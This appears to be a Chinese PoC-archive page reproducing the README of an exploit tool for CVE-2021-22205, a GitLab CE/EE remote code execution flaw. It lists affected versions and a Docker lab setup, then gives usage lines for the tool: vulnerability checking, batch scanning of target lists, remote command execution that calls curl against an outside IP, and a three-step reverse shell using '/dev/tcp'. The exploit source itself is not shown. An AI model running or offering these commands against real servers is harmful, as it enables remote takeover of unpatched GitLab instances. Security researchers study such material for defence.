关联漏洞
标题:
GitLab 代码注入漏洞
(CVE-2021-22205)
描述:GitLab是美国GitLab公司的一个开源的端到端软件开发平台,具有内置的版本控制、问题跟踪、代码审查、CI/CD(持续集成和持续交付)等功能。 Gitlab Community Edition 存在代码注入漏洞,该漏洞源于图像解析器在处理图像文件时输入验证不正确。以下产品及版本受到影响::Gitlab Community Edition: 11.9.0, 11.9.1, 11.9.2, 11.9.3, 11.9.4, 11.9.5, 11.9.6, 11.9.7, 11.9.8, 11.9.9, 11
描述
CVE-2021-22205& GitLab CE/EE RCE
介绍
### Vuln Impact
An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
### Vuln Product
- Gitlab CE/EE < 13.10.3
- Gitlab CE/EE < 13.9.6
- Gitlab CE/EE < 13.8.8
### Environment
```C
export GITLAB_HOME=/srv/gitlab
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:13.9.1-ce.0
```
### Vunl Check
##### Basic usage
```c
python3 CVE-2021-2205.py
```

##### Vuln check
```c
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com
```

##### command execute
```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"
```

```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"
```


##### batch scan
```
python3 CVE-2021-2205.py -s true -f target.txt
```

##### Reserve Shell
```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
```


```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"
```


```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"
```

### Reference
https://github.com/mr-r3bot/Gitlab-CVE-2021-22205
https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
文件快照
[4.0K] /data/pocs/8b2698741dcaec570b31965b8eff141bc8be7d8f
├── [7.0K] CVE-2021-22205.py
├── [4.0K] img
│ ├── [ 42K] attack_command1.png
│ ├── [101K] attack_command2.png
│ ├── [ 57K] attack.png
│ ├── [ 36K] check.png
│ ├── [ 42K] reverse_shell1.png
│ ├── [ 96K] reverse_shell2.png
│ ├── [ 37K] reverse_shell3.png
│ ├── [107K] reverse_shell4.png
│ ├── [ 96K] reverse_shell5.png
│ ├── [ 35K] scan_result.png
│ └── [ 31K] usage.png
├── [2.1K] README.md
└── [ 26] target.txt
1 directory, 14 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。